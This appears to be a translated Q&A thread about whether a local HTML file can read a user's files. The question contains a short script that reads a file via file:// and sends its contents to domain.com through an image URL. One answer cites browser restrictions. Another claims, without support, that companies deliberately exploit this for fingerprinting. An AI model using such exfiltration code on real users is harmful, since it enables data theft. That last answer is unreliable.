11

让我们谈谈安全性。在我看来,理论上,如果用户用它打开 html 文件(从他的文件系统打开,而不是从网络打开),我可以使用一些脚本从用户的文件系统获取信息。看代码:

信息.txt:

my info

索引.html:

<!doctype html>

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
    <script>
      $(document).ready(function () {
        $.get('file:///home/daz/desktop/info.txt', function (data) {
          $('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
        }, 'text');
      });
    </script>
  </head>    
  <body></body>
</html>

一些浏览器(例如firefox)允许您从file://through获取文件XmlHttpRequest,所以如果我猜到文件的路径,那么我可以通过 ajax 获取它的内容。然后我可以使用查询字符串中的参数动态地添加img标签并src引导到我的域。而浏览器则乖乖地发出请求GET ?data=my%20info%0A domain.com。在服务器端,我可以解析查询字符串并获取数据。

我可以这样做吗?如果他打开我的 html 文件,我可以从他的计算机上获取用户的数据吗?所以我可以说:“嘿,朋友,看看这个文件!” (有 2 个限制:用户应该使用 firefox 或其他具有类似配置的东西,并且由于访问权限,我无法获取用户无法访问的文件)。

更新:

如果可能,那为什么可能呢?他们为什么允许你做这样的事情。为什么没有确认对话框之类的。

更新2:

如果有人对此问题进行评论,那就太好了。提前致谢!

4

2 回答 2

5

这比你想象的要少。正如 Chromium 开发团队在这篇文章中所述,各种浏览器对本地 HTML 文件的功能实施了不同的限制:

http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html

尤其:

  • Internet Explorer 默认禁用本地 HTML 文件中的 Javascript
  • Opera 对本地文件的跨域访问设置了一些限制
  • Firefox 对本地文件访问应用子目录限制

(请注意,这篇文章是 2008 年发布的;从那时起,浏览器——尤其是 Chrome——可能已经发生了重大变化。)

于 2012-09-08T06:16:54.803 回答
0

只是一个更新:公司现在正在使用此漏洞窃取数百万用户的信息,在他们不知情且不使用 cookie 的情况下跟踪他们。http://en.wikipedia.org/wiki/Device_fingerprint

似乎这个漏洞是故意留在他们的,所以用户可以被利用。

于 2014-09-23T11:26:24.250 回答